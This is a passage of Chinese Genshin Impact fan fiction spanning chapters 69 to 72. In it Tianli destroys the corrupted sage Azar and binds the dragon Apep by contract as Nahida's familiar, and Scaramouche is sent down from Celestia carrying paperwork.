“快走!” 趁着天理尚未亲自前来,现在离开还有一线生机! 原本安安静静躺在纳西妲手掌心的神之心发出耀眼的光芒。 翠绿的光辉在纳西妲手中频频闪烁,而作为神之心的主人,纳西妲却呆呆地盯着她手中的神之心,一时之间,她甚至开始怀疑自己—— 难道是她刚刚说出的某个词语引起了尚在天空岛沉眠的天理的注意吗? 纳西妲心中波涛汹涌,她抬起头,阿扎尔和多托雷离开的步伐被看不见的透明力量所阻断。阿扎尔打开净善宫的大门,惊恐地看向门外的世界—— 门外是一片光怪陆离的星空,漆黑得看不见深处的宇宙闪烁着点点星光,没由来的窒息感让这这位哪怕是在神明面前也高昂着头颅的大贤者变了颜色,他的眼珠渐渐失去焦距,身体开始止不住地抽搐,整个人的身体扭曲城怪异的形状。 纳西妲见状,赶忙催动力量将净善宫的大门重新闭合,但是已经为时已晚。 只需要一瞥,星空的污染就已经浸入人类的身体。 自持身份的大贤者控制不住身体,直直栽倒在地上,纳西妲上前半步试图将阿扎尔扶起,但还没有迈出第一步,第二席便伸出手,拦住这位对囚禁自己的人类尚存怜悯之心的神明。 “迟了,小吉祥草王。阿扎尔已经不是阿扎尔了。” 什么叫做“阿扎尔已经不是阿扎尔”了? 不等纳西妲深思,接下来所发生的一切已经告诉了她博士口中的“阿扎尔已经不是阿扎尔”,究竟是什么意思—— 大贤者苍老的身躯突然诡异地站起,随后,他苍老的皮囊之下像是被塞进了某种同身躯完全不匹配的存在一样,面庞、手臂、直到整个躯干都不正常地鼓起,骨骼全部向外翻折,扭曲得完全不似人型。 纳西妲后退了两步,她从未见过如此渗人的场景。 很快,“阿扎尔”完成了变异。 它的血肉被完全翻开,裂口处充溢着宇宙中璀璨星空的美丽色彩,作为人类的身躯膨胀了三倍不止,几乎在这个小小的净善宫中已经直不起身来。它的骨头明晃晃地露出在体外,才向纳西妲这边走两步,骨头就将其扳倒。视线陡然变低的“阿扎尔”茫然地抬头,随后恍然大悟,果断将裸露在体表、尚未适应这份身体全新主人的骨头就抽出来,随随便便仍在了后头。 多托雷依旧保持着单膝下跪的姿势,对于自己“盟友”如今的惨状,他显得毫不在意。 比起已经失去价值的阿扎尔,在天理降临之前做好敬神的样子更加重要。 “这,这到底是什么?”纳西妲看着眼前无法用语言描述的“生物”,忍不住问道。 “阿扎尔”歪着头,似乎是完全无法理解小小神明的疑惑。 它挣扎着起身,但失去骨骼的支撑,“阿扎尔”三人高的身形明显地垮下来几十公分,变成了一摊难以移动的肉泥。“阿扎尔”回头,短暂地思考过后,似乎是终于明白了被自己丢弃掉的骨骼是支撑着这副奇怪身躯的重要存在,又从肉足上蔓延出触须伸向被丢远的骨骼。 一根尖刺越过纳西妲,贯穿了多托雷的同时,戳向了“阿扎尔”。 方才还胸有成竹的愚人众执行官此时已经全然失去了倚仗,空虚的面具也无法掩饰其面庞上的惊讶—— “怎么……会?” 为什么? 天理不应该是宠爱着人类的吗? 阿扎尔也就算了,被天空之外的禁忌知识所浸染、被世界之外的灵魂侵占躯壳之后自然算不上人类,天理一言不合直接动手,也在他的计算之中。 但是为什么? 为什么会连他一起—— 空灵又缥缈的声音从纳西妲手中的神之心传来。 远在另一处的神明解答了大逆不道之人的困惑。 “感谢巴尔泽布吧,新任的草之神。她让我见识到了人类中也有不值得神明为之奉献的纯黑存在。” 纳西妲轻轻地捧起看上去已经联系上天理本人的神之心,将它放在半空。金色的微光托住草神的神之心,使其悬浮至于空中。 幼小年轻的小吉祥草王微微鞠躬,存在于每个魔神血液和记忆之中的本能告诉她,声音的主人,便是那自己只在传说和典籍之中见过的存在—— 「天理」 第69章 第 69 章(修) 总而言之,先匀两…… 从尖刺生出的地方, 空间扭曲过后一道狭长的裂缝从中展开。感受到天理的降临,神之心散发着愈发耀眼深邃的光芒。 被世界之外的伪物还没有放弃挣扎,比世界之外的力量更清楚传说中天理手段的博士切片已经彻底放弃挣扎。最自私的切片不是没有想过拉替死鬼, 但是天理可不好糊弄。其余切片感知到了须弥的一切, 几乎是迫不及待地主动切断了链接。 金色的棘刺缓缓抽出, 滴落的血液被完全吸纳入金色的尖刺之中, 成为神之心同天空岛的主人联络沟通的力量。 而已经被天空之外的伪物彻底占据身躯、完全失去了作为人类的外表和特征的“阿扎尔”发出刺耳的哀嚎。纳西妲忍不住捂住了耳朵, 被未知生物侵占躯体的“阿扎尔”对着神之心发出近乎于哀求的沉吟,然而尖刺的主人不为所动,灵巧地刺穿生物的核心,金色的光芒吞没了还未来得及看清世界、就已经被天理灭杀的的外来生灵。 “阿扎尔”的躯壳犹如被放掉气体的气球迅速地萎靡,纳西妲能够清楚地透过光芒看清, 天理的力量让外来者的力量迅速流失,到最后,只剩下一个纯黑色的小球跌在地面, 发出空洞的声音。 苍白的手指撕开空间裂缝, 一只绿色的蕈兽从漆黑的裂缝中挤出,摇晃着伞盖飞了出来。然后是一只她从典籍上见到的、据说是花神眷属的镇灵、一个金色头发的异乡人,直到最后, 苍白皮肤的主人才姗姗来迟, 合上了空间裂缝。 一下子, 宽敞的净善宫看上去拥挤了不少。 纳西妲小心翼翼地抬起头。 虽然相貌看上去略有不同, 也没有那标注性的利爪和羽毛, 但是不论是语调还是面容,毋庸置疑,来者就是天理。 纳西妲将因为害怕被阿扎尔发现、所以一直藏在怀中的金色羽毛拿出。 一切都在向好发展。 哪怕是处在沉睡之中,哪怕距离她的须弥城如此遥远, 这位在梦境中轻哄着自己不要害怕的神明,居然真的在她出言威胁博士的时候赶到。 金色的神明扫视了一眼简陋的净善宫,随即将视线聚焦于已经浓缩成为一个黑漆漆球体的阿扎尔身上。 金色的神明俯下身,拾起漆黑的球体,提溜着身边显得格格不入的蕈兽,在她眼前展示了一番直视了天空之外的禁忌后的下场。 “看,正好这里还有现成的范例。不要仗着是古龙、皮糙肉厚就寻思着去接触天空之外的禁忌知识。不过是无意的一瞥,只是短短几秒,这个叫做‘阿扎尔’的人类就被禁忌知识所污染,身体被宇宙之外的伪物占据了身体,连灵魂也一起被改造成为养分。” 以蕈兽之身避开法则约束的阿佩普警惕地看向维尔金,蕈兽豆大的眼珠里溢满了不敢置信。但哪怕她再怎么不愿承认,事实不会骗人,沾染禁忌知识的下场就是如此惨烈。 “不对,不对……阿蒙并未收到如此严重的污染,而黑王……” “没有元素力量的普通人类对禁忌知识和深渊的抗性几乎为零,至于阿蒙……阿佩普,脑子不是装饰品,除了用来思考你那些不重要的反叛大计之外,可以用来记一记教训。” “……比如因为吞下阿蒙身躯而遭受的折磨。” 维尔金微微叹气,两手一摊:“做龙总不能好了伤疤忘了疼吧?” “你这家伙……唔。” 金色头发的降临者默默绕道了蕈兽身后,将已经蓄势待发的蕈兽一把抱住,在小蕈兽即将要口吐芬芳的时候,塞进一个由利露帕尔友情提供的沙漠特产大枣椰。 “谢谢你的枣椰,利露帕尔。”空长舒一口气,可算是终结了这没完没了的争执了。 “不必对战败者如此和善,我尊贵的王子。” 漂浮的镇灵发出尖酸刻薄的嗓音,对着口不能言的阿佩普阴阳怪气道:“有些龙只愿意相信自己所相信的,既然他们的喉咙只能发出难听的质问,大脑还不善于思考分析……倒是真的变成一只弱小又愚蠢的蕈兽了呢,旧日的草龙。” “唔唔!!” 维尔金双手合十,在阿佩普愤怒的小豆眼注视下拿出了那个对于蕈兽这种幼小元素生物而言过大的枣椰。 “没礼貌的眷属!” 怒气冲冲的阿佩普低吼,放在巨龙上或许是极为可怕的威慑,但如果是一只不断旋转着伞盖的蕈兽,旁人只会觉得这只蕈兽十分的可爱。 一向懒得理会巨龙们无能狂怒的维尔金双手合十,自作主张地为这场从开始就没有停下来过得争执画上了休止符。 “太好了阿佩普,你们终于能够休战了——抱歉,新任的草神……” 维尔金托起悬浮在半空之中的神之心,然后用带有元素力的指骨敲击两下,神之心的光芒才渐渐熄灭。维尔金转手又将关机的神之心递回给这位居然是被自己的子民所囚禁的神明,随后叹了一口浊气。 “我来晚了。” 眼前的一切是他从未设想过的可能。 从一出生起就站在世界绝对顶端的神明从未想过,人类居然会有囚禁神明的僭越之举。他想过新任草神对尘世七执政的业务流程一无所知,他想过新任的草神或许会像厄歌莉娅一样因为对自己心生不满于是竭力避免登上天空岛亲自同自己见面,维尔金想了很多,却独独没有想到过,须弥的大贤者一直囚禁着他们的神明。 “不,是我发现太晚了,谢您——” 纳西妲双手奉上闪烁着耀眼金辉的羽毛,陡然看见熟悉的羽毛,维尔金一愣,随即在久远的记忆中,找到了两千多年前的一个微不足道的小小插曲—— 一次酣畅淋漓的战斗,以及观看到一切的,一根惊慌失措的小小枝桠。 维尔金半蹲着身子,捻起自己的羽毛。因为脱离自己的主人的时间并不长,这根羽毛还沾染着僭主血腥又可怕的气息。时间的交错铸就的裂缝让千年前的天理与千年后神明的命运交相辉映。 维尔金心里五味杂陈。 在他和维系者完全没有发现的情况下,命运早已经规划好魔神们的未来,似乎是在用这种方式,无言地向维尔金宣战—— 看吧,就算你刻意想要避免因为知晓未来而使得未来成为现实,我依旧能够让未来成为定局。 当命运烙印在星空之上时便无法更改,而提瓦特的天空是维尔金的本体,是那虚假的蛋壳,因此命运已然注定,他所听见、所看见的一切会都会成为现实。 早在两千多年前,他与幼小神明相遇的那一天,大慈树王的命运就已成定局。 “原来是这样……我明白了。” 维尔金已经明白了一切。 既定的命运耍了一个险恶的把戏,哪怕维尔金已经处处提防,还是让作为天理的维尔金成为了布耶尔退位、新草神上任的见证者。 纳西妲却不明白。 天理接过了在梦境中由他递交给自己的信物,她看见天理仔细端详着熟悉的金色羽毛,不知为何,他看上去是那样的难过,像是突然意识到某样事物从一开始就要注定失去—— 纳西妲在梦里见过类似的表情。 半晌,维尔金将羽毛别在纳西妲的耳后,小小的神明抬手,轻轻触碰着那片看似轻盈实则意义不凡的羽毛。 “既然这次没用上的话,就当做一个纪念品留着吧。”维尔金道。 直觉告诉他,这片羽毛会有用上的一天。 纳西妲郑重其事地点了点头,接着问道: “天理大人,关于前代大慈树王以及尘世七执政,我还有很多问题——” “停,问题留着之后再问。” 维尔金正色道:“关于尘世七执政的相关配套业务和事宜,由维系者,也就是你们的直接对接人兼KPI考核官负责。她准备了一套非常完善的业务流程……我不做一线业务,所以如果有关尘世七执政工作内容方面的问题,为了避免产生歧义和误会,直接问维系者是最好的选择。” 说完,维尔金又重新设置好草神的神之心,“晚点我让她匀个员工下来帮你做一下岗前培训,还有大慈树王……我跟她要说熟也不是很熟,我们之间的交流仅限于工作。” 说起自己最最最可靠下属的离去,维尔金一边倒腾着神之心,一边忍不住碎碎念:“我真就搞不懂了……明明我下界前监察了每年的工作汇报,的的确确是只有稻妻缺了五百年的公文总结啊……可恶,现在还要分人来手把手教业务……” “欸?”纳西妲睁大了眼睛,一时之间甚至有些反应不过来维尔金突变的画风。 “……不,还是给你匀个能打的吧。” 维尔金环视了一圈清冷得不像样子的净善宫,刚刚急着处理被禁忌知识污染的人类和已经生起反叛之心的碎片型号人类,一时之间,他竟然没有注意到,新任草神的居所居然如此简陋。小小神明的居所甚至比遣散了众天使和魔神的天空岛还要冰冷渗人。 维尔金开始在脑内筛选合适的人选:维系者不行,离了她天空岛可能会出大问题;派蒙……感觉又不太靠谱。那两个新人——巴尔泽布家的散兵倒是能打,而且同龄人的话,共同话题应该会多一些。 神造人偶的战力可以弥补小草神空荡荡的人手和须弥缺失的战力,但是……维尔金有些犯难,须弥这块地方当年属于名副其实的“因为有得力下属存在所以干脆甩手不管”的地带。 阿蒙脑子犯轴但能打,娜布保留着爱人的本性,虽然夹带私货,但有布耶尔拦着,也没干过什么太过分的事情,至于阿佩普—— 阿佩普:? 眼神触及啃着镇灵带来的枣椰,看上去极其不耐烦阿佩普,维尔金的目光心虚地移开。 等等! 维尔金马上反应过来—— 能打、知道提瓦特最基础的规则,说不定还从阿蒙他们仨那里学了点业务流程…… 这样看,阿佩普不就是最适合人选吗? 第70章 第 70 章 具体合同请具体分析 “阿佩普。” 努力跟有蕈兽半个脑袋大的枣椰作斗争的阿佩普疑惑地抬起头。 “做个交易如何?正如你所见, 如今的提瓦特地下有深渊蠢蠢欲动,天空之外的禁忌知识虽然被好好封存,但仍然有无数不知死活的家伙妄想利用这份力量与我抗争。” “谢谢天空岛之主的好意, 只是我没有蠢到吃一堑长不了一智的地步。” 阿佩普果断拒绝天理的邀请。 “一个阿蒙就让我沦落至此, 要是跟天空岛的主人做场交易……真是不好意思, 我怕过不了多久, 须弥的元素生物们就能发现, 荒芜的沙漠中居然还躺着一具身上充满不可言说之力量的古龙尸体。” 总是被天理莫名其妙含沙射影地扫射一通的阿佩普深吸口气,愤恨地吞下所有的枣椰,毫不客气地呛声回去—— 求人还不忘先贬低别人一番,也就是天理仗着提瓦特没人是他的对手。但凡要是换个家伙,哪怕是阿蒙那个混蛋在它面前大放厥词, 阿佩普都绝不会让他好过。 可惜的是,站在她面前的是维尔金,并且后者甚至没有意识到, 自己刚刚已经将全体龙族扫射成为“不知死活的家伙”。 阿佩普气鼓鼓地旋转着圆形的伞盖, 不打算继续跟天理沟通。 她已经想好了接下来的日子该如何打发时间,天理一定会很快重新陷入沉睡——阿佩普很确信,维尔金不会单纯为了监视她这条已经难以再度搅动风雨的老龙而耗费力量。换而言之, 只要能够等到天理解决完禁忌知识的事情、处理完须弥新任草神这边乱七八糟的问题, 山高天理远, 那辽阔无边的沙漠照样属于她阿佩普。 至于雨林—— 阿佩普不动声色地瞄了眼过弱小的神明, 相当放心地回过身子。 一根世界树的枝桠所幻化而成、年龄不过小几百年的神明而已。 只要天理回归沉眠, 量她也不敢对自己下手。 维尔金微微叹了口气,但对于阿佩普毫不留情的拒绝,他并不感到意外。 “只是原本我还打算用一个不干扰提瓦特进程、不违背提瓦特底层逻辑的承诺来作为这项交易的代价……既然你对守护须弥不感兴趣,那我到时候去趟暗之外海问问。” 像阿佩普这样完全不为利益所动的存在毕竟是少数中的少数, 维尔金并不在意,只是感慨了一番龙族的自持后,便将邀请阿佩普守护须弥的念头完全打消。 “等等——” 捕捉到关键词的阿佩普迫不及待地支楞起蕈兽上宽下窄的身躯,似乎是意识到自己显得太过焦急,为了体现出龙族的优雅自持,阿佩普强行按捺住兴奋,但略显破音的声音还是透露出阿佩普的激动: “这是作为天空岛之主的承诺吗?” 阿佩普不得不再次确认一遍,虽然天理这个级别的强者应该不至于跟阿蒙一样不要脸,但正所谓一朝被蛇咬十年怕井绳,禁忌知识的折磨还历历在目,万一维尔金出尔反尔,到时候她给天空岛当狗什么都没能捞着,她阿佩普一定会被那群远离纷争又不思进取的龙类们狠狠嘲讽一番的! 维尔金给了她肯定的答复:“当然,只是你最好不要许下诸如‘让尼伯龙根再次伟大’、‘人类滚出提瓦特’之类的愿望,稍微正常点的,我都能够让它实现。” 阿佩普:可恶。 这不是跟什么都不行差不了多少吗? 这条规则看上去什么都做不了,阿佩普也拿不准天理的底线,更重要的是,维尔金可不会给她货比三家的时间。 “想好了吗?合适的话我们先签订契约,工作岗位是草神眷属,合同有效期暂定五百年,到期默认续签,待遇从优,包吃住,工作待遇和工作细则等会细说。说实话,就现在这个非人类长生种的境况,我把这段话扔暗之外海,下一秒就有人打爆小吉祥草王的神之心,阿佩普,你要是还继续犹犹豫豫无法下定决心的话,我可就要去暗之外海摇人了——” 说完,维尔金耸了耸肩,一副耐心被消耗殆净的样子。 “不许找别人!让我来!” 成为眷属虽然让一直自诩为尼伯龙根的捍卫者、且不间断蛐蛐投向七神的同类的她显得格外口不对心,但是,天理的许诺可遇而不可求,哪怕是阿佩普,也不愿看着这样宝贵的机会白白溜走。 这可是天理的承诺! 阿佩普咬牙,硬着头皮答应下来。内核是古龙的小小蕈兽的举起手签订契约,却困于蕈兽没有长手,只能忍辱负重地拿伞盖当做手,同维尔金击掌为誓—— “先说好,我绝不会做出背叛同类的违逆之举!哪怕是作为神明的眷属,我也断然不会丢弃龙的尊严!” 善解人意的维尔金抬手: “放心,我懂。如果尼伯龙根再度归来,我会第一时间亲自出手。” 铁血龙党阿佩普顿感大事不妙,试图转移话题:“我觉得应该用不着你亲自上阵……话说工作内容是什么,我已经迫不及待地想要上班了。” “啊,这个不急,先走流程。”维尔金扭头看向规规矩矩站在一边的新草神,问道: “——上次我们之间的见面太过匆忙,请告诉我一下你目前使用的名字。” “我叫做纳西妲。” “很好,纳西妲——” 随着双方的真名相继交出,维尔金在半空中轻轻挥手,一深一浅的两道翠绿从阿佩普和纳西妲身上析出。 “草神纳西妲,你是否愿意承认阿佩普的身份,不论她是背叛、疯掉、亦或是沉眠和死亡,都将阿佩普视为你永恒的眷属?” “能换一段词吗?”阿佩普忍不住吐槽,“这听上去有点太不知所谓了,重点是有点肉麻过头了——难道摩拉克斯和他的眷属当年也念了这段词吗?” 维尔金眉头微皱。 纳西妲伸出手,将不识趣的未来眷属揽入怀抱中,感受到怀中的蕈兽并未怎么挣扎,纳西妲轻轻点头,回答道: “我愿意。” “那阿佩普,你是否愿意成为纳西妲的眷属,贯彻须弥草神的意志,成为纳西妲的守护者。” “……我愿意——但,纳西妲,我的底线是不可手足相残。小小的神明,如果你对远古的大君尚存一丝丝敬畏,我希望你不要令我们之间的关系太过难看……” 纳西妲点头应下:“请放心,我只是想守护好须弥,守护好前代草神大慈树王留下的一切。” “你大可以放松,不必如此拘谨。在天理的见证下,我们的誓约牢不可破。” 阿佩普又不知道从哪里掏出一枚硕大的枣椰,递给纳西妲。 纳西妲一怔,接过了这位比她更加古老、更加强大、更像是具有无比智慧之龙的馈赠。 在阿佩普的注视下,她缓缓咬下一口枣椰—— 很甜,很好吃。 这是她收到的第二份礼物,来自传说中的阿佩普所赠予的枣椰。 阿佩普满意地点点头,看了眼维尔金,发现天理似乎是并不打算插手她同纳西妲约定的具体内容之后,草之龙眼眸微低,哪怕是弱小蕈兽的躯壳,也阻挡不了阿佩普身为古龙的气势和力量。 庞大的蛇形龙黑影出现在小小的蕈兽背后,有了眷属这一身份的豁免,她终于能够在地上彰显自己的威能,哪怕只是最微不足道的一部分—— “接受了我的供奉,又有天理的见证,我们之间的契约已然成立。” “我的神明,你希望我怎么做?” “是先杀光冒犯你的罪民,亦或是先将已经化作腐朽溃烂之疮疤的禁忌知识,通通清除?”《 》 70-80 第71章 第 71 章 阿佩普发现工作并不简单…… 空已经见过很多提瓦特本地龙。 有关系好到能跟温迪一起飞来飞去的特瓦林, 死去后只剩下一颗砰砰直跳心脏的杜林,还有对天理跟对钟离态度不能说是天上地下只能说是两模两样的双标巨龙若陀龙王。 但是,以上任何一位龙, 都没有像阿佩普这样, 给他一种真正来自食物链顶端的元素生物之威压。 在这种威慑之下, 明明知道眼前的不过是一只小小的蕈兽, 但空却依忍制不住发自内心地相信阿佩普所言的一切, 好像这位自远古存活至今的巨龙真的能够如她所说那样,拳打邪恶人类,脚踢禁忌知识。 “别信,她在虚张声势。” 远古龙王的威慑之下,心神不定这将不由自主地相信阿佩普所说的一切。 维尔金抬手, 按捺住空纷乱的思绪,将他从阿佩普带有魔力的言语中拖出来。 很快回过神的空定下心神,找到了其中的不对劲之处, 戳穿道:“可是……阿佩普你不是之前已经到了被禁忌知识折磨得不成人形, 不得不在沙漠深处盘着、等大慈树王来救你的地步了吗?” 说罢,心直口快的异乡人恍然大悟,发起灵魂一问:“难道之前那副样子是装的吗?” 如果是装的, 空真的不得不佩服阿佩普的抗压能力。 利露帕尔否认:“不对, 这条老龙之前的确是一副要死的虚弱样子——所以说, 果然只是在新生的神明面前吹牛吧?” “禁忌知识对于无法使用元素力的普通人而言最为致命, 对魔神和巨龙们不能说是完全无害, 只是说至少有能够解决问题的办法。” 维尔金一针见血,道破在沙漠中第一眼见到阿佩普时,她如此狼狈不堪的直接原因:“阿佩普沦落至此纯粹是被阿蒙坑的。” 一切草木最古老的主宰拥有着令许多魔神都眼馋的强大生命力,再给阿佩普几千年, 她说不定能够进化出吞噬禁忌知识污染的抗体。但这一过程必然充满痛苦和折磨、乃至让她从纯粹的元素生命变成未知的存在。 “该死的阿蒙将足以吞噬整个须弥的禁忌力量存放在自己的躯体中,害得我吞掉他的力量时中招!若不是禁忌知识直接从内部将我的身躯和力量腐蚀,我怎么可能会沦落至此?” 维尔金不提及阿蒙还好,一想到被禁忌知识摧残的无数个日日夜夜,阿佩普就恨得牙痒痒。 天空岛之主选拔下属的眼光的确不行。 首先是死就死了,非得留下一堆烂摊子的娜布。 自以为生前用自己的死亡算计了一切,不光给偌大的须弥留下一个该死的赤王,死后这么多年,还能留下这个聒噪的镇灵给她添堵。 然后是行动力比脑子转得快的阿蒙——这个混账阿佩普这辈子都忘不了。 这家伙当年被四影执政一脚踹下天空岛纯属活该。光是他宁愿坑死大慈树王、自己和阿佩普也不愿意找自己的顶头上司天理求个援解决问题的心态,就足够阿佩普在胃里狠狠鞭尸一万次。更别说这家伙还是直接导致须弥变成如今这副禁忌知识肆虐、形势极其不妙的场面的罪魁祸首之一,纯粹的麻烦制造者。 再就是一声不吭死去的布耶尔——据刚刚那个过分信任天理的降临者小子所言,似乎是还留了什么让天理格外在意的遗言。不过看在大慈树王比她还倒霉、而且是三神中唯一一个正常神明的份上,姑且不谈她的问题。 总而言之就是,娜布选择地点、阿蒙开始挖坑,布耶尔负责埋坑。 阿佩普又看向完全一副置身事外模样的维尔金。 还有天理,这个一切的祸害源头、罪恶的开端。 要是这家伙没那么喜欢人类的话,龙族依旧是这个世界的主宰。更不会出现这么多稀奇古怪的魔神。阿佩普相信,若是天理能够同尼伯龙根携手,别说是小小的禁忌知识和深渊,他们甚至能够创造出奔赴星空的奇迹—— 所以说,人类就这么有意思吗? 他们龙族哪里不够美丽强大吗? 阿佩普无法理解,索性也不再深思。 她对纳西妲寄予厚望。须弥的新任草神被人类伤害的足够深,阿佩普有信心把这该死的爱人本能矫正回来。 阿佩普看向纳西妲,提议道:“刚刚我说得一切,虽然禁忌知识略有夸张意味,但放心,我有尼伯龙根传下来的土法解决方案。不过我觉得在此之前,还是先去把那些对你不敬的人类通通杀光为好。” 不论是巨龙还是魔神,他们都是高傲且尊贵强大的存在,绝非小小的人类可以鄙视欺侮的存在。 “……谢谢你,阿佩普。” 阿佩普一听到纳西妲道谢起手,顿感大事不妙。 果不其然,她就听到了那些老调重弹的宽容之词。 “是我没能满足大家的期待,这不怪他们。”纳西妲清澈的眸子拂过一道阴影,年幼的神明将罪责归于己身,她认为,是自己的弱小无法回应子民们的期盼—— “我和大慈树王相比差得太远,而那种境况下,他们又太过于害怕。” 一种没由来的不妙感从阿佩普心中油然而生。上一次有这样的感觉,还是在吞咽下阿蒙的身躯之前,龙类的本能在隐隐抗拒死去魔神的尸体。 果不其然,纳西妲就给了她一个非常不满意的答案。 “作为一个神明,我甚至无法给予我的子民以安全感……” “这个也没救了——” 阿佩普回头,眼神是难得地诚恳和坦诚:“你知道的,天理,阿蒙是和布耶尔是我的老友,这对于我这种土生土长的须弥龙来说是一个无比艰难的决定,但我已经迫不及待地把草元素的天赋带到稻妻。毕竟那里好像还没有龙。巴尔姐妹她们极具天赋,暗之外海更是急需高端战力辅佐,作为刚刚才跟你签好临时工合同的草木最古老之主宰,我不介意临时潜心研究一番激化反应和她们打配合。至于须弥,我只能祝小吉祥草王好运——” 维尔金一票否决阿佩普试图脱身的想法,天空岛之主暇整以待,拿出崭新得像是趁着阿佩普忽悠纳西妲展示力量时才拟好的合同: “别想逃,你已经是纳西妲的眷属了。默认续签的特瓦林和若陀同款眷属契约。” “……我的确不擅长跟这种自说自话的神明相处。” “这是你们需要磨合的地方,阿佩普。我是让你来解决问题的,不是让你来给我增加问题的。”维尔金双手环胸,“更何况,没有难度的工作还需要我亲自下场进行外包聘用吗?” 上岗第一天,阿佩普已经有点想继续回到沙漠中蛰伏了—— 作者有话说:抱歉家人们呜呜呜呜,圣诞节将至比较忙,更加雪上加霜的是还有些卡文(趴)昨天忘记请假了,真是不好意思!周末努力一把 第72章 第 72 章 来自天空岛的外派援助+…… 遥远的天空岛, 忙碌了不知道多少天一直没合眼的勤奋打工人深吸口气,面无表情地将终于处理完的如小山般的公务归纳入库后,散兵顺手拿出怀表, 果断将时间倒回至三个小时前, 然后抱着未完成的公文, 坐到了友人丹羽身边。 别误会, 他并不是要休息。只是单纯换个地方继续工作而已。 散兵麻木地拿出只存在久远回忆中的狐狸小姨和将军大人连夜邮递上天空岛的稻妻神之心, 用元素力激活后,根据巴尔泽布硬塞到神之心里的地脉之花记录,开启了新一轮的稻妻公文补天计划。 “怎么随身带着将军大人神之心?”丹羽随口问道,“这么喜欢的话,要不问问派蒙, 看看能不能做一个平替版本?怎么说呢,一直拿着将军大人的神之心总是感觉哪里怪怪的。” “巴尔泽布已经把她的神之心抵押给我了。” 散兵盯着正散发出紫色光辉的雷神神之心,短暂的兴奋过后, 得到神之心的喜悦在看见巴尔泽布交上来的公文后变成了痛恨与懊悔。散兵深吸口气, 努力平复自己因看清楚稻妻神明递交上来的堪称草稿的公文后,险些没绷住的表情,咬牙切齿道: “天杀的巴尔泽布, 他能不能稍微精进一下她的公文汇报水平?我刚刚从五百年前的稻妻公文汇报中找到了跟她今天交上来的这份一模一样的年度总结报告。我发誓, 这两份报告的唯一区别就是日期。还有你看, 这份踏鞴砂的工作汇报——这几百年来林林总总发生了这么多事情, 结果, 五百年,整整五百年的记录,她就憋了这两张卷轴上来?” 散兵拿起那两张卷轴,丹羽抬头看了眼, 指出了另一处不同: “将军大人把字号调大了,正常的格式下,一张卷轴就够了。” 散兵心里呕血:“她还凑字数!” 散兵无比后悔。他还说呢,那条心机颇深的狐狸怎么绕了那么一大圈才给他说出交易的项目,甚至还甘愿拿出神之心作为交换—— “毕竟踏鞴砂的事情来来回回跟我们都脱不了干系,将军大人和宫司大人还有五百年的文书要补,维系者这边又催的紧……可能为了及时交上报告,内容就的确敷衍了些……” 丹羽干咳两声,随后加快了手上批阅文件的速度,“别急,等我干完这边就来帮你。” “不了,这是我脑子发病答应的额外工作,我自己处理就好。”散兵认命地开始帮巴尔泽布重新撰写报告。 在这种情况下,哪怕身边有自己曾经心心念念想要得到的神之心,散在公文的摧残之下,这份曾经费尽心思也想得到的战利品也随之变得索然无味。 而且,一想到自己已经有了一颗心脏,居然还为了这种已经完全没有半点用处的东西,接下了不善文书的将军大人的稻妻公文补天计划—— 不管从哪个角度看,散兵都觉得自己亏大了。 摆在工位上疑似是骨灰材质的水晶突然开始光芒大作,散兵捂住近距离险些被闪瞎的眼睛,闭着眼睛摸索着打开了据说是“部门同事沟通专用”的天空岛专用地脉之花—— 维系者: 【HI,散兵】 【有临时外派,手头上没做完的工作临先放下】 【维尔金叫你下去兼任须弥新任草神的眷属,好消息是你会有一个宝贵的外包同事,叫做阿佩普,是一条草龙。可以适当把工作扔给她,外包龙不敢蹬鼻子上脸。还有,一定要盯住阿佩普,外包合同工不能抢地脉之花的零食吃,看见她偷吃地脉力量及时上报,我去好好跟她谈谈】 散兵:【好的收到】 维系者:【公文也要一起带下去,每周用地脉之花把处理完的公文数据传回来】 【还有,我听说,你收了巴尔泽布的神之心,答应帮她处理公文?那玩意除了能开天空岛大门和接电话之外就没什么用处了】 【而且维尔金那个摆子喜欢偷懒,经常性的只通过神之心发通知】 【既然你收了巴尔泽布神之心,那以后给稻妻发正式通知的活就交给你了】 【XD大笑.JPG(已撤回)】 【好好干,往后我多给你拿几个神之心】 散兵:【好的收到:)】 地脉之花熄灭了金色的光芒,散兵握着手上的卷轴,又看了看摆在工位上的雷神神之心。有那么一瞬间,他甚至都想把神之心给原封不动地退还回去。 天知道蕴藏着这么强大元素力量的神之心,居然就只是一个普普通通的通讯设备—— 怪不得当他提出用神之心作为帮巴尔泽布批改公文的交换时,那条阴险的粉色狐狸和一向面无表情的魔神都露出了难以言喻的古怪表情。 “怎么了?愁眉苦脸的。”一边不间断地批改公文,丹羽抬起眼眸,看着面如土色,仿佛看到了什么毁灭世界观大事的散兵,忍不住调笑道,“难不成是维系者大人又给你派下新的任务了?” 散兵沉默地点了点头,深吸一口气,眼神空洞,看起来就像是乍然失去了为之奋斗的目标一样: “说真的,丹羽——” “我已经对神之心和七神彻底祛魅了。” 散兵狠狠唾弃曾经想要成神的自己。 如果成为神明之后的命运是变成一个没有感情的公文处理机器的话,这个神谁爱当谁去当吧! 丹羽微微勾起唇角,直达眼底的笑意也藏不住些许对友人从苦大仇深变得轻松幽默些的转变而感到欣慰。 “往好处想——至少你真的获得了神之心,也获得了属于自己的心脏。” 丹羽一直坚信,让人放弃执着于某物的唯一办法就是让他得到它。虽然时间的跨度有些长,中间业务发生了许许多多对大家都不好的事情,但是—— “多亏了天理大人,让错误可以得到修整,遗憾也可以填补。” “一份稳定的工作,一位称职的领导,不错的工作待遇,安安稳稳的度过未来的日子——” “虽然跨度有些长,虽然这里也有些小忙……但是也很不错吧?” 认真思考过后,散兵不得不承认,丹羽是正确的。 虽然很难想象,但在天空岛做事,居然真的给散兵一种真正地作为一个普普通通的人类生活的感觉。 想一出是一出、但是很讲道理的大领导天理,会认真教导下属的直属上级维系者,喜欢吐槽大领导的派蒙前辈,还有一起能见缝插针地吐槽七神们交上来报告内容的同事兼朋友丹羽。 他在最不可思议的地方,得到了自己曾经梦寐以求的普通人生活。 虽然疲惫,却已经是他在梦里也不敢幻想的幸福生活。 犯下大罪的他,能够拥有如此宝贵的机会,已经无比的幸运。 一想到这,散兵又浑身上下充满了干活的动力。在同事兼好友震惊的目光中,散兵打包好桌上的公务以及稻妻的补天计划系列的所有公文,眼里有光: “总而言之,我先去须弥干活了——” · 死亡并非一切的终点。 作为草木的精灵,大慈树王早早认识到了这一点。 躯壳的死亡仅仅象征着在提瓦特地表的寂灭,而魔神们死后留下的残余,就是告示后来者,这是他们存在过的证明。 